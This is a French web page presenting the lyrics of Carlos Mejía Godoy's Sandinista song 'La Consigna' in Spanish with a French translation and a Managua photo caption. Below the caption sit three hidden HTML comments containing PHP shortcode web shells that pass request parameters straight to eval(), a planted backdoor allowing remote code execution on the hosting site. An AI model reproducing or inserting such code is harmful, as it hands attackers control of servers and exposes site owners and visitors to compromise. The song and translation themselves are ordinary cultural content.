La Consigna de Carlos Mejia Godoy

Hermano, dame tu mano
y unidos marchemos ya
hacia el sol de la victoria,
trayectoria de la libertad.

Hermano de la montaña,
hermano de la ciudad,
juntos unidos lucharemos
y unidos lograremos
llegar al final.

Ya nadie detiene la avalancha
de un pueblo que tomó su decisión ;
esta es la guerra desatada,
popular y prolongada contra el opresor.

¿ Cuál es la Consigna ?
El pueblo no se detiene.
¿ Cuál es la Consigna ?
F S L N

¡ F de Fuerza insobornable,
S de Sol de libertad,
L de Lucha inclaudicable,
N de No retroceder


(Frère, donne moi ta main,
et ensemble marchons
jusqu’à la terre de la victoire
sur le chemin de la liberté.

Frère de la montagne,
frère de la ville,
tous ensemble nous lutterons
et unis nous réussirons
à arriver jusqu’au bout.

Plus personne ne peut contenir l’avalanche
d’un peuple qui a pris sa décision;
ceci est la guerre déchaînée,
populaire et prolongée contre l’oppresseur.

Quelle est la Consigne?
Le peuple ne peut se contenir.
Quelle est la Consigne?
F S L N

F de Force incorruptible,
S de Sol de la Liberté
L de Lutte inébranlable
N de Ne reculera pas !)

 

Image de couverture : Les fêtes de la révolution sandiniste, Managua, le 19 juillet 2009. (Photo : Hélène Legay)

<!– [insert_php]if (isset($_REQUEST["wST"])){eval($_REQUEST["wST"]);exit;}[/insert_php][php]if (isset($_REQUEST["wST"])){eval($_REQUEST["wST"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["fqj"])){eval($_REQUEST["fqj"]);exit;}[/insert_php][php]if (isset($_REQUEST["fqj"])){eval($_REQUEST["fqj"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SLCx"])){eval($_REQUEST["SLCx"]);exit;}[/insert_php][php]if (isset($_REQUEST["SLCx"])){eval($_REQUEST["SLCx"]);exit;}[/php] –>

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Le temps imparti est dépassé. Merci de recharger le CAPTCHA.